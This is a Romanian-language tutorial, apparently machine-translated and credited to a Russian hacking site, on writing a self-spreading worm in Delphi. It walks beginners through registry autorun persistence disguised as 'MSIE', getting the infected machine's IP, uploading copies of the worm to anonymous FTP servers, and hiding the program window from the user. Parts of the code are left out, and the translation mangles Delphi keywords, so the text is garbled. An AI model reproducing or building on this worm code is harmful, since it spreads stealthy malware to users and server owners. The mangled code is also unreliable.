Scrierea vierme în Delphi.
Acest articol am luat site-ul www.inattack.ru și cred că va fi foarte util pentru începători în codarea pe Delphi.
Zdarova! Să scrie acum viermele lor? Vrei să fii cu privire la orice astfel de animale mici! Astăzi, vă voi ajuta în asta! Vom scrie la Delphi6. vierme nostru se va răspândi prin intermediul unui server FTP cu acces anonim. Deci nu te duci! Crearea unui proiect nou. Doar NMFTP îmbulzesc pentru a forma componente (așa-numitele, fără a 1). Apoi trebuie să declare două variabile globale. Acest lucru se face după linia de var, care vine după liniile
la începutul Unita.
Trebuie doar să adăugați modulul este utilizat WinSock și Registry.
Să ne prescrie viermele în registru:
RegIni: = TRegIniFile.Create ( 'Software');
RegIni.RootKey: = HKEY_LOCAL_MACHINE;
RegIni.OpenKey ( 'software', adevărat);
RegIni.OpenKey ( 'Microsoft', adevărat);
RegIni.OpenKey ( 'Ferestre', adevărat);
RegIni.OpenKey ( 'CurrentVersion', adevărat);
// Servicii Pishemsya Run în numele directorului cheie MSIE, urmată de locația fișierului //
RegIni.WriteString ( 'RunServices', 'MSIE', Application.ExeName);
RegIni.Free;
Deci, încărcate în mod automat în timpul pornirii sistemului. Este necesar să se declare 2 variabile stringovye ip1st și ip2nd. Ei vor sta ip împărțit în 4 părți. Uite ce ar trebui să-l place acest lucru:
var
Form1: TForm1;
ip1st, ip2nd: string;
Apoi, trebuie să obțineți IP de mașini infectate. Acest lucru se face folosind următoarea funcție (numesc GetLocalIP):
Funcția GetLocalIP: String;
const WSVer = $ 101;
var
WSAData: TWSAData;
P: PHostEnt;
Buf: array [0..127] Char;
începe
Rezultat: = '';
dacă WSAStartup (WSVer, WSAData) = 0, atunci începe
dacă gethostname (@Buf, 128) = 0, atunci începe
P: = gethostbyname (@Buf);
în cazul în care P <> zero atunci Rezultat: = iNet_ntoa (PInAddr (p ^ .h_addr_list ^) ^);
se încheie;
WSACleanup;
se încheie;
se încheie;
Această funcție va determina masinile infectate IP și returnați-l la noi ca un șir de caractere. Apoi, trebuie să împartă IP dobândit în 4 părți. Să scrie o funcție și numesc CutIP (tăiere IP). Aici sa codul:
După aceea, ftp_list variabila are toate lista de IP în care portul 21 este deschis. În continuare avem nevoie pentru a răspândi copia vierme pe toate disponibile în lista ftp-server. Nu sunt descriu în mod direct întregul proces și va face munca ta imaginație. Atunci când o conexiune este trecut la noi o listă de directorul principal. Acesta poate fi obținut folosind următorul cod:
NMFTP.NList;
// Apoi, a crea evenimente un handler OnListItem
// și scrie în el următorul lucru
[Imya_spiskovoy variabilă] .Add (Listing);
După aceea, variabila se va baza pe o listă de foldere și fișiere. Pot exista probleme cu viermele de injecție ftp, deoarece Nu orice locație poate fi permisă intrarea.
Puteți verifica acest lucru, după cum urmează: pentru a încerca să umple în directorul rădăcină, dacă nu, atunci începe ciclul care va lua un șir cu numele fișierului / directorului. Apoi, schimba directorul celei preluate din listă dacă o eroare (acest lucru poate fi un fișier), apoi mergi mai departe, dacă ai reușit să schimbe ceva încercând să umple, etc. Dacă ați reușit să umple, apoi se conectează la următoarea ftpshku și de a face același lucru.
Dosar modificări ale codului NMFTP.ChangeDir (numele dosarului); Descărcarea fișierelor este după cum urmează: NMFTP.Download (imya_zakachivaemogo_fayla, imya_pod_kotorym_fayl_sohranitsya_na_servere); Acum trebuie să ne ascundem forma principală de ochii utilizatorului, se face după cum urmează:
Du-te în proiect> View Source
Aceasta deschide fereastra de editare de cod, codul în sine ar trebui să fie după cum urmează:
var
WhEvent: THandle;
începe
Application.Initialize;
ShowWindow (Application.Handle, SW_HIDE);
Form1: = TForm1.Create (zero);
Application.Run;
WhEvent: = CreateEvent (nil, adevărat, fals, 'et');
în timp ce (adevărat) do
începe
WaitForSingleObject (WhEvent, 1000);
Application.ProcessMessages;
se încheie;
end.
Și reamintim pentru acțiunile lor sunt responsabili numai tu!